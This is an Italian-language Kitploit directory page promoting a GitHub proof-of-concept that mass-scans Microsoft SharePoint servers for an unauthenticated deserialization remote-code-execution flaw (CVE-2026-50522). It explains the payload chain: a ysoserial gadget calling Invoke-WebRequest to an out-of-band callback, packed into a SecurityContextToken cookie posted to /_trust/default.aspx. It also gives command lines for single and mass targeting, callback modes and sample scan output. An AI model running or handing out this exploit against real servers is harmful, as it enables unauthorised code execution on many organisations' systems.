Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-50522 — CVE-2026-50522 PoC | Kitploit
Strumenti/GitHubGitHub/4minx/cve-2026-50522
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed Teaming
GitHub4minx/cve-2026-50522

CVE-2026-50522

CVE-2026-50522 PoC

Vedi Repository
3817225 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-50522 Poc : SharePoint Deserialization RCE

Esecuzione remota di codice non autenticata su SharePoint Server tramite deserializzazione del cookie SecurityContextToken

Exploit di scansione di massa per CVE-2026-50522 che prende di mira Microsoft SharePoint Server on-premises. Sfrutta la deserializzazione insicura di BinaryFormatter nell'endpoint WS-Federation /_trust/default.aspx per ottenere esecuzione di codice non autenticata tramite cookie SecurityContextToken appositamente costruiti.

Nota: Questo progetto include ysoserial, un noto strumento di penetration testing, quindi il tuo antivirus potrebbe segnalarlo o metterlo in quarantena durante il download.

Informazioni sulla vulnerabilità

  • CVE: CVE-2026-50522
  • Tipo: CWE-502 Deserializzazione di dati non attendibili
  • CVSS 3.1: 9.8 (Critico)
  • Autenticazione: Non autenticata
  • Prodotti interessati:
    • Microsoft SharePoint Server Subscription Edition (prima della 16.0.19725.20434)
    • Microsoft SharePoint Server 2019 (prima della 16.0.10417.20175)
    • Microsoft SharePoint Enterprise Server 2016 (prima della 16.0.5561.1001)

Come funziona

  1. ysoserial.exe genera un payload serializzato BinaryFormatter utilizzando il gadget
Scarica lo strumento
TypeConfuseDelegate
  • Il payload esegue Invoke-WebRequest verso un URL di callback out-of-band
  • I byte grezzi vengono deflati (zlib) e codificati in Base64 in un valore di cookie
  • Il cookie viene avvolto in una struttura XML SecurityContextToken
  • Il token viene incorporato in una RequestSecurityTokenResponse (WS-Federation)
  • Il parametro wresult viene inviato tramite POST a /_trust/default.aspx
  • SharePoint deserializza il token, innescando l'esecuzione di codice nel processo worker IIS

    • Requisiti

    • Python 3.10+ con libreria requests
    • ysoserial.net (download)
    • Server di callback OOB (Burp Collaborator, interactsh, OAST)

    Utilizzo

    Target singolo

    root@kitploit:~
    python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

    Scansione di massa

    root@kitploit:~
    python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

    Percorso ysoserial personalizzato

    root@kitploit:~
    python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

    Con proxy

    root@kitploit:~
    python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

    Modalità callback su sottodominio

    root@kitploit:~
    python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

    Opzioni

    ArgomentoDescrizionePredefinito
    -t, --targetURL del target singolo-
    -T, --targetsFile con gli URL dei target, uno per riga-
    -c, --callback-urlURL base di callback OOB (obbligatorio)-
    --callback-modepath o subdomainpath
    --ysoserialPercorso di ysoserial.exeysoserial.exe
    -x, --proxyProxy HTTPnessuno

    Modalità di callback

    Modalità path (predefinita):

    root@kitploit:~
    http://YOUR_ID.oastify.com/10.10.10.5

    Modalità sottodominio:

    root@kitploit:~
    http://10.10.10.5.YOUR_ID.oastify.com

    Esempio di output

    root@kitploit:~
    [*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

    Riferimenti

    • Microsoft - CVE-2026-50522
    • SOCRadar - Il PoC di CVE-2026-50522 alimenta gli attacchi a SharePoint
    • thehackernews - CVE-2026-50522, RCE critico di SharePoint, sfruttato attivamente dopo la pubblicazione del PoC